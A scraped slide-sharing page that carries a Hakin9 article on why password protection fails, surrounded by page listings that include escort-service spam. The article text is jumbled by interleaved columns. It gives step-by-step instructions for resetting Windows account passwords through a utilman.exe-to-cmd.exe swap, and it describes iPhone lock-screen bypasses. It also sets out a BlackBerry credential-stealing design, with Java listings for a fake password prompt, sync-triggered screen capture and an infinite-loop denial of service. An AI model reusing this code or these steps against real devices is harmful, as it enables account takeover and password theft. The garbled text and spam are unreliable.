Comment crew indicators of compromiseYury Chemerkin
 
Appendix g iocs readme
Appendix g iocs readmeAppendix g iocs readme
Appendix g iocs readmeYury Chemerkin
 
Appendix f (digital) ssl certificates
Appendix f (digital)   ssl certificatesAppendix f (digital)   ssl certificates
Appendix f (digital) ssl certificatesYury Chemerkin
 
Appendix e (digital) md5s
Appendix e (digital)   md5sAppendix e (digital)   md5s
Appendix e (digital) md5sYury Chemerkin
 
Appendix d (digital) fqd ns
Appendix d (digital)   fqd nsAppendix d (digital)   fqd ns
Appendix d (digital) fqd nsYury Chemerkin
 
6071f3f4 40e6-4c7b-8868-3b0b21a9f601
6071f3f4 40e6-4c7b-8868-3b0b21a9f6016071f3f4 40e6-4c7b-8868-3b0b21a9f601
6071f3f4 40e6-4c7b-8868-3b0b21a9f601Yury Chemerkin
 
Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Yury Chemerkin
 
Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...Yury Chemerkin
 
The stuxnet computer worm. harbinger of an emerging warfare capability
The stuxnet computer worm. harbinger of an emerging warfare capabilityThe stuxnet computer worm. harbinger of an emerging warfare capability
The stuxnet computer worm. harbinger of an emerging warfare capabilityYury Chemerkin
 
Stuxnet. analysis, myths, realities
Stuxnet. analysis, myths, realitiesStuxnet. analysis, myths, realities
Stuxnet. analysis, myths, realitiesYury Chemerkin
 
Stuxnet redux. malware attribution & lessons learned
Stuxnet redux. malware attribution & lessons learnedStuxnet redux. malware attribution & lessons learned
Stuxnet redux. malware attribution & lessons learnedYury Chemerkin
 
Sophos ransom ware fake antivirus
Sophos ransom ware fake antivirusSophos ransom ware fake antivirus
Sophos ransom ware fake antivirusYury Chemerkin
 
Six months later – a report card on google’s demotion of pirate sites
Six months later – a report card on google’s demotion of pirate sitesSix months later – a report card on google’s demotion of pirate sites
Six months later – a report card on google’s demotion of pirate sitesYury Chemerkin
 
Security in the cloud planning guide
Security in the cloud planning guideSecurity in the cloud planning guide
Security in the cloud planning guideYury Chemerkin
 
Security configuration recommendations for apple i os 5 devices
Security configuration recommendations for apple i os 5 devicesSecurity configuration recommendations for apple i os 5 devices
Security configuration recommendations for apple i os 5 devicesYury Chemerkin
 
Render man. hacker + airplanes = no good can come of this
Render man. hacker + airplanes = no good can come of thisRender man. hacker + airplanes = no good can come of this
Render man. hacker + airplanes = no good can come of thisYury Chemerkin
 

Plus de Yury Chemerkin (20)

Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...
Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...
Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...
 
Red october. detailed malware description
Red october. detailed malware descriptionRed october. detailed malware description
Red october. detailed malware description
 
Comment crew indicators of compromise
Comment crew indicators of compromiseComment crew indicators of compromise
Comment crew indicators of compromise
 
Appendix g iocs readme
Appendix g iocs readmeAppendix g iocs readme
Appendix g iocs readme
 
Appendix f (digital) ssl certificates
Appendix f (digital)   ssl certificatesAppendix f (digital)   ssl certificates
Appendix f (digital) ssl certificates
 
Appendix e (digital) md5s
Appendix e (digital)   md5sAppendix e (digital)   md5s
Appendix e (digital) md5s
 
Appendix d (digital) fqd ns
Appendix d (digital)   fqd nsAppendix d (digital)   fqd ns
Appendix d (digital) fqd ns
 
6071f3f4 40e6-4c7b-8868-3b0b21a9f601
6071f3f4 40e6-4c7b-8868-3b0b21a9f6016071f3f4 40e6-4c7b-8868-3b0b21a9f601
6071f3f4 40e6-4c7b-8868-3b0b21a9f601
 
Jp3 13
Jp3 13Jp3 13
Jp3 13
 
Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...
 
Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...
 
The stuxnet computer worm. harbinger of an emerging warfare capability
The stuxnet computer worm. harbinger of an emerging warfare capabilityThe stuxnet computer worm. harbinger of an emerging warfare capability
The stuxnet computer worm. harbinger of an emerging warfare capability
 
Stuxnet. analysis, myths, realities
Stuxnet. analysis, myths, realitiesStuxnet. analysis, myths, realities
Stuxnet. analysis, myths, realities
 
Stuxnet redux. malware attribution & lessons learned
Stuxnet redux. malware attribution & lessons learnedStuxnet redux. malware attribution & lessons learned
Stuxnet redux. malware attribution & lessons learned
 
Sophos ransom ware fake antivirus
Sophos ransom ware fake antivirusSophos ransom ware fake antivirus
Sophos ransom ware fake antivirus
 
Six months later – a report card on google’s demotion of pirate sites
Six months later – a report card on google’s demotion of pirate sitesSix months later – a report card on google’s demotion of pirate sites
Six months later – a report card on google’s demotion of pirate sites
 
Security in the cloud planning guide
Security in the cloud planning guideSecurity in the cloud planning guide
Security in the cloud planning guide
 
Security configuration recommendations for apple i os 5 devices
Security configuration recommendations for apple i os 5 devicesSecurity configuration recommendations for apple i os 5 devices
Security configuration recommendations for apple i os 5 devices
 
Render man. hacker + airplanes = no good can come of this
Render man. hacker + airplanes = no good can come of thisRender man. hacker + airplanes = no good can come of this
Render man. hacker + airplanes = no good can come of this
 
Msft oracle brief
Msft oracle briefMsft oracle brief
Msft oracle brief
 

Dernier

Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 

Dernier (20)

Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 

Why is password protection a fallacy a point of view

  • 1.
  • 2. EXPLOITING SOFTWARE Why Is Password Protection a Fallacy – a Point of View? MAKE your password strong, with a unique jumble of letters, numbers and punctuation marks. But memorize it – never write it down. And, oh yes, change it every few months. These instructions are supposed to protect us. But they don’t. What you will learn… What you should know… • Password protection isn’t an universal panacea • Basic knowledge about BlackBerry security • Password is outdated in current representation • Basic knowledge about BlackBerry usage • Virtually keyboard is vulnerable for screen capture • Password’s Edit �eld is vulnerable • In�nity Loop is funny DOS-attack A password is a secret word or string of characters (they may be stolen, spoofed, forgotten, etc.) over that is used for authentication, to prove identity or authentications systems relying on cryptographic gain access to a resource (example: an access protocols, which are more difficult to circumvent. code is a type of password). The use of passwords is Passwords are the keys to your kingdom. Combined known to be ancient. Sentries would challenge those with your username, they are the most common means wishing to enter an area or approaching it to supply for proving your identity and logging into your computer a password or watchword. Sentries would only allow and websites or accessing information. Unfortunately, a person or group to pass if they knew the password. far too often people do little to protect their passwords, Nowadays, user names and passwords are commonly using simple combinations such as 123456, password, used by people during a log in process that controls qwerty, or abc123. In other cases, people simply access to protected computer operating systems, use their pet’s name or their birth date. Such kind of mobile phones, TV, etc. A typical computer user may information can be easily found on the Internet, such require passwords for many purposes: logging in to as on Facebook. With access to your password, an computer accounts, retrieving email from servers, attacker can steal your digital identity, access your accessing programs, databases, networks, web sites, bank accounts, or even access your organization’s and even reading the morning newspaper online. confidential information, causing a tremendous Despite the name, there’s no need for passwords to amount of harm. It is also important to remember that if be actual words; indeed passwords which aren’t actual someone steals your password, you could be liable for words may be harder to guess, a desirable property. anything they do! Some passwords are formed from multiple words and Passwords help safeguard you against identity theft. may more accurately be called a passphrase. The They make it harder for cybercriminals to profile you, term passcode is sometimes used when the secret access your bank account (or other online accounts) information is purely numeric like PINs. Passwords and steal your money. Let’s follow an advice about how are generally short enough to be easily memorized to make a good password. I summarize several ideas and typed. For the purposes of more compellingly from Dr. Cole (founder of Secure Anchor Consulting) authenticating the identity of one computing device to and Kaspersky Lab Expert’s (Magnus Kalkuhl, David another, passwords have significant disadvantages Emm). 36 www.hakin9.org/en
  • 3. Why Is Password Protection a Fallacy – a Point of View? • You must have at least one number in your requirements for passwords have given us a false password. sense of protection against potential attacks. In • You must have at least one CAPITAL letter in your fact, they say, we aren’t paying enough attention to password. more potent threats. Back in October 2008 when the • You must have at least one symbol in your majority of Luxembourgers disclose personal data password. without hesitation. One in five people are willing to • You must have use different password to access communicate their password to strangers. And if a other accounts. bar of chocolate is on offer, the number increases • Your passwords should be a minimum of 12 to one in four. A total of two out of three are willing characters in length. Good idea – 15 length. to communicate indirect hints on their password. • You should use a passphrase rather than a single These are the results of a mock social engineering word. attack carried out. This study involved recreating • You should use non-dictionary words. the conditions of a social engineering attack. The (pa123s567swo890rd is dictionary, too). Guess human factor is central to this type of attack. Cyber why! There’s a simple formula to calculate criminals use this to forge a relationship of trust with a password complexity. It’s Alphabet raised their potential victims. Normally, a simple conversation to the Length power (A^L) where alphabet is enough to achieve this aim. The pirates then use represent allowed characters to type. Look at the the victim’s trust to acquire information on passwords, pa123s567swo890rd. It’s a 26 character + 10 numeric password tips, dates of birth, telephone numbers and and 12-digit in length. So, 36^12 ~ 4 * 10^9. other data, which is subsequently used for criminal However, it uses a dictionary word password that purposes. During the study, 1,040 people were spaced a numeric character apart. subjected to the mock social engineering attack. A total of 20.6% of those questioned freely communicated First, mentioned tips are revoked by the tendency in their password to a stranger, and if a bar of chocolate matter to complexify. Second, do you have enough was on offer, the number increased to 26.1%. Only time to type a random string (20-40 character in 13% of those questioned made no concessions and length)? How many web sites do you log into? There gave no information on their password. are more than I can count. Facebook, Myspace, It suggests the observable facts to idea how to protect Linkedin, Twitter and any number of other social a passwords. Let’s summarize ideas again. networking sites? Probably a dozen. Shopping sites? Yes, a several. Emails, IMs, and etc. Every • Don’t get hacked! One of the most common ways site requires you to create a password, strong for criminals to steal your password is to infect your password. Is it possible to memorize? Some kind computer. Once your machine is compromised, they people solve it with digit wallet. Great! All you need will install malware on it that captures all of your keep in mind only one super complex password. keystrokes (including any usernames and passwords Other stored passwords is encrypted by default. to online banks). When you log in to your bank, your Example, BlackBerry Wallet or Kaspersky Password information is automatically stolen and forwarded Manager. Both are described as an indispensable to the criminals. These individuals can then access tool for the active internet and shopping user. Also, your bank account pretending to be you and literally it fully automates the process of entering passwords and other data into websites and saves the user going to the trouble of creating and remembering multiple passwords. It’s still unsecured. Don’t forget a spyware program is able to capture screens of your device (my 2nd article in February 2011 Issue Is Data Secure on the Password Protected Blackberry Device?). You need to see it to type or need to copy into clipboard. And no one software producer can protect it, because need to put data into public text- box (oh, there’s a getClipboard() method to retrieve the system’s clipboard object in the BlackBerry API). In other words, end-point object is vulnerable. Some computer security experts are advancing the heretical thought that passwords might not need to be strong or changed constantly. They say onerous Figure 1. Windows login screen www.hakin9.org/en 37
  • 4. EXPLOITING SOFTWARE steal all of your money. To protect yourself, make • If you believe your passwords has been sure your computer is actively protected. This means compromised or have reason to believe it is no making sure automatic updating is enabled and you longer a secret, contact your help desk and change have the latest anti-virus. your passwords immediately from a computer you • Be sure to use different and not obvious passwords control and trust. Another way, if an online store, or for different accounts. For example, never use the any web site, sends you an email confirmation that same passwords for your bank accounts as your contains a new password, login again and change personal accounts, such as MySpace, YouTube, your password immediately. or Twitter. This way if one of your passwords is hacked, the other accounts are still safe. About the digital wallet mentioned in paragraph 5 • Never share your password with anyone else, previously. P.6-7 is clear in cause of necessity. P.2- including a supervisor or an IT support professional. 3 is partially discussed above. P.1-4 try to protect us Remember, your password is a secret. If anyone from malware and discuss how much further have else knows your password, it’s no longer secure. Anti-Malware companies gone. Here’s one threat • Never use a public computer, such as at hotels or to keep you awake at night: keylogging software, libraries, to log into an account. Since anyone can which is deposited on a PC by a virus, records use these computers, they may be infected with a all keystrokes and then sends it surreptitiously to malicious code that is capturing all your keystrokes. a remote location. Keeping a keylogger off your Only log into your work or personal accounts on machine is about a trillion times more important trusted computers you control. than the strength of any one of your passwords, says • At times you may have so many passwords that Cormac Herley, a principal researcher at Microsoft you can’t remember them all, and storing them may Research who specializes in security-related topics. be your only option. If you write them down, be sure He said antivirus software could detect and block to store them in locked location that only you have many kinds of keyloggers, but there’s no guarantee access to; never store them in public view. Another that it gets everything. With my recollection (when I option is to store them in encrypted applications worked at Kaspersky Lab) at least two trojans could designed to store passwords on your computer or block an anti-virus by catching an attention window smartphone. and hiding attention window, of course, disabling • Exercise caution when websites require you to audio attention in an instant. In any case a most of answer personal questions. These questions are security systems slow down your computer’s speed often used if you forget your account password or draw your attention away. But the most important and need to reset it. The problem is the answers to thing that’s 3rd party non-trusted application. It’s sad these questions can often be found on the Internet, but there’s a few OS that include a NATIVE security such as your personal Facebook page. So make mechanism. sure that if you answer personal questions, you use only information that is not publicly known. If A few words about login security methods.. the website provides other password reset options, In computer security, a login or logon (also called such as SMS messages to your smartphone, you logging in) is the process by which individual access to should consider these alternatives. Figure 2. After logging Figure 3. iPhone bug 38 www.hakin9.org/en
  • 5. Why Is Password Protection a Fallacy – a Point of View? a computer system is controlled by identification of the and now discuss login bugs. The up-to-date person is user using credentials provided by the user. A user can already used to think that a perfect protection doesn’t log in to a system to obtain access and can then log out exist. It will break down or will disassemble to pieces / log off when the access is no longer needed. To log out sooner or later. Information security has become one of is to close off one’s access to a computer system after the most important counters of our life. We aspire to it. having previously logged in. Logging out may be done We want to protect all data. But it’s impossible… explicitly by the user performing some action, such as First, What does Windows Vista / Seven login screen entering the appropriate command, or clicking a website look like? Follow figure 1 there are three objects link labeled as such. It can also be done implicitly, such as by powering the machine off, closing a web browser • text-box (or edit-box) for your password, window, leaving a website, or not refreshing a webpage • power off button. Also hibernate button, restart within a defined period. button. In the case of web sites that use cookies to track • accessibility features’ button. sessions, when the user logs out, session-only cookies from that site will usually be deleted from the user’s Windows offers several programs and settings that computer. In addition, the server invalidates any can make the computer easier and more comfortable associations with the session, making any session- to use. Windows Speech Recognition now works handle in the user’s cookie store useless. This feature better – and with more programs. So instead of using comes in handy if the user is using a public computer or the keyboard, you can just tell your computer what to a computer that is using a public wireless connection. do. Magnifier is a help to people with low vision, but As a security precaution, one should not rely on implicit everyone will appreciate its ability to enlarge hard-to- means of logging out of a system, especially not on a see text and pictures. Full-screen mode magnifies the public computer; instead one should explicitly log out entire desktop, and lens mode zooms in on particular and wait for the confirmation that this request has taken areas. Windows can read on-screen text aloud and place. describe some events (like error messages), helping Logging out of a computer when leaving it is a you use your computer without the display. common security practice, preventing unauthorized On this screen you can press Windows Button plus users from tampering with it. There are also [U] to activate a those component that located at people who choose to have a password-protected Windows Directory › System 32 › Utilman.exe (dll, too). screensaver set to activate after some period of It’s a first our target. Second target is command shell inactivity, requiring the user to re-enter their login called cmd.exe. In Vista and Seven a command shell credentials to unlock the screensaver and gain gives opportunity to add, delete, or modify any user access to the system. Windows 7 and Windows Vista account. There’s a simple command that’s going to help allow changing the appearance of the login-screen. us – NET USER USERNAME PASSWORD. Example, There are softwares available which can easily be after typing net user administrator new_password you’ll used to change the login-screen. change a password. The talk conversation turns to login spoofing and Well, what good is it? Just replace utilman.exe by login bugs. Let’s will attend to the login spoffing later on cmd.exe, press [win+u] and type previous command Figure 4. Virtually typing Figure 5. Post-masking character (virtually typing, too) www.hakin9.org/en 39
  • 6. EXPLOITING SOFTWARE It’s not only Windows have a logging bug. Back Did you know? to Autumn 2008 to the password protected iPhone Password preview is only used when the keyboard is a (v2.2). The two-step trick is even simpler to the one sure type or multitap keyboard. The bold keyboard is a full used in the past to gain access to the phone to install keyboard so it won’t duplicate that behavior. Such preview is screen-shot-able. unlocking cards or jailbreak. Just slide to unlock and do this: and you’ll be able to login with new_password. Full • Tap emergency call. game plan is described in detail below (russian- • Double tap the home button. speaking men can acquaintance at article A Windows Vista/Seven password breaking in section On the ‘Net). Done. You’re now in your favorites. This seems like a By the way, article was published on April 25, 2010. feature, because you may want to have emergency number in your favorites for quick dial. The security • Load System Recovery Options (Vista/Seven) problem here’s double. The first: anyone picking • Choose a Command Prompt up your phone can make a call to anyone in your • Type %windir%system32compmgmt.msc. It loads favorites. On top of that, this also opens access to a Remote Management with the Computer your full Address Book, the dial keypad, and your voice Management Tool. mail. If that wasn’t bad enough, the second one is even • In popup window check Select a program from a list worse: if you tap on the blue arrows next to the names, of installed programs it will give you full access to the private information in a • Choose a Notepad favorite entry. And it goes downhill from there: • Open with it a command shell (%windir%system32 cmd.exe). • If you click in a mail address, it will give you full • Duplicate a command shell and replace utilman.exe access to the Mail application. All your mail will be by cmd.exe copy exposed. • Reboot to Windows (normal booting) • If there’s a URL in your contact (or in a mail • Press Windows key plus [U] message) you can click on it and have full access • Type Net user USERNAME NEWPASSWORD. to Safari. Then close command shell and login with new • If you click on send text message in a contact, it will password. give you full access to all your SMS. That’s all. You’re logged into system. You can clear One and half month later was found a second iPhone’s password after it, for example, or do everything you bug. In password-protected mode, there’s an option like. to disable SMS preview, so if someone picks up your locked phone, they can’t see incoming text messages. Listing 1. Catch password dialog's handler (�rst part) However, if you activate a locked phone’s emergency call mode, and it receives a text message, it’ll show void __fastcall Password_Catcher() you the full text in preview (Figure 3). public void syncEventOccurred(int eventId, Object Now we examine a virtual keyboard. When you object) touch screen to type a character a big-scaled { review appears. When you do the same while typing if (eventId == SERIAL_SYNC_STARTED || eventId == password into masked text box you can see that every OTA_SYNC_TRANSACTION_STARTED) character is going to be masked by asterisk or black { circle in ~1-2 second after. It’s quite true to iPhone, start_screen_catcher(); //timer is started Android, Windows, BlackBerry (only touch models //while (true); like a Storm2 9520 or only in touch-mode, like Torch } 9800 when slider is closed). But if you use hardware else if (eventId == SERIAL_SYNC_STOPPED || keyboard you never see it. It’s a roughly speaking. eventId == OTA_SYNC_TRANSACTION_ Reasonably, password preview is only used when STOPPED) the keyboard is a sure type or multitap keyboard. The { bold keyboard is a full keyboard so it won’t duplicate stop_screen_catcher(); //timer is stopped that behavior. } Figure 4 shows us screenshot at a moment when } you’ll set or modify your password. Figure 5 shows us device-unlocking moment. 40 www.hakin9.org/en
  • 7. Why Is Password Protection a Fallacy – a Point of View? Malware Design (Screen-Capturer) Screen-capture API I discussed in my 2nd article in February 2011 Issue Is Data Secure on the Password Protected Blackberry Device? To determine locking state of device should use a class ApplicationManager and import net.rim.device.api.system.ApplicationManager. It enables applications to interact with the application manager to perform the following tasks: • interact with processes, such as retrieving the IDs for foreground applications • post global events to the system • lock or unlock the handheld, or determine whether the handheld is locked • run an application immediately or at a specific time Figure 6. Password stealer while synchronizing – part I To use any of the ApplicationManager methods, you must first retrieve a reference to the current To prevent this, some operating systems require a application manager using the getApplicationManager() special key combination (called a Secure attention key) method. To determine whether the user’s handheld to be entered before a login screen is presented, for is locked, invoke boolean method ApplicationManager example Control-Alt-Delete. Users should be instructed .getApplicationManager().isSystemLocked(); Then move to report login prompts that appear without having this method to Timer with delay in 10 msec to check pressed this secure attention key. Only the kernel, if locked state followed by unlocking state to start which is the part of the operating system that interacts screen-capturing with delay in 500 msec. Another directly with the hardware, can detect whether the way to catch a password when your device is starting secure attention key has been pressed, so it can’t be synchronizes. Import SyncEventListener interface from intercepted by third party programs, unless the kernel net.rim.device.api.synchronization and overwrite a void itself has been compromised. syncEventOccurred like in Listing 1. There are two possible way of stealing password. Look closely to commented line while(true). It’s a kind First, when you unlock your device; second, when of DOS-attack, by the way. Don’t panic! Any BlackBerry you synchronize your device with PC. During it you’re Devices still stay responsible but you can’t synchronize asked about sync way whether sync media or use device if it placed on sync event; you can’t turn volume usb drive or only charge device. Sure, we can’t guess up if it placed on volume’s event, etc. It’s funny that what you choose, but we don’t. Do you draw attention those infinity loop won’t kill by system if uses in non- on discrepancy or take it as a kind of program error main thread. (bug)? In any case you’re caught on fake-logining. After Let’s see Figures 6-7 for media sync and usb drive password typing you’ll be notified about wrong password password dialogs. (two times to get your right pass and one more to inform Now let’s talk about login spoofing as a technique used to steal a user’s password. The user is presented with an ordinary looking login prompt for username and password, which is actually a malicious program, usually called a Trojan horse under the control of the attacker. When the username and password are entered, this information is logged or in some way passed along to the attacker, breaching security. Login spoofing can be considered a form of social engineering. SyncEventListener Constant OTA _ SYNC _ TRANSACTION _ STARTED – An OTA sync transaction has started for a speci�c SyncCollection. OTA _ SYNC _ TRANSACTION _ STOPPED – An OTA sync transaction has stopped for a speci�c SyncCollection. SERIAL _ SYNC _ STARTED – Serial sync has started. SERIAL _ SYNC _ STOPPED – Serial sync has stopped. Figure 7. Password stealer while synchronizing – part II www.hakin9.org/en 41
  • 8. EXPLOITING SOFTWARE Listing 2a. Our Password Dialog public class PasswordPopupScreen extends PopupScreen { implements KeyListener, Dialog.alert("Invalid TrackwheelListener Password !"); { } private String _response; } private PasswordEditField answer; else private String password = ""; { bool secondary = false; //indicator of password = answer.getText(); secondary typing } public PasswordPopupScreen() return true; { } super(new VerticalFieldManager(),Field.FOCUSA //Invoked when the trackwheel is released BLE); public boolean trackwheelUnclick(int status, int LabelField question = new LabelField("Please time) enter password"); { answer = new PasswordEditField("Password: return false; ",""); } add(question); //Invoked when the trackwheel is rolled. add(new SeparatorField()); public boolean trackwheelRoll(int amount, int add(answer); status, int time) } { //Gets called if the password gets called it pops return true; the pass screen and pushes the } apps main screen //Keylistener's implementation public void accept() public boolean keyChar(char key, int status, int { time) UiApplication.getUiApplication().popScreen(th { is); //intercept the ESC key - exit the app on its } receipt public void close() boolean retval = false; { switch (key) UiApplication.getUiApplication().popScreen(th { is); case Characters.ENTER: } _response = answer.getText(); public String getResponse() if (secondary) { { return _response; if (_response.equals(passw } ord)) //TrackwheelListener's implementation { public boolean trackwheelClick(int status, int accept(); time) Dialog.alert("null-pointer exception"); _response = answer.getText(); close(); if (secondary) } { // an alert is displayed if if (_response.equals(password)) the password is incorrect 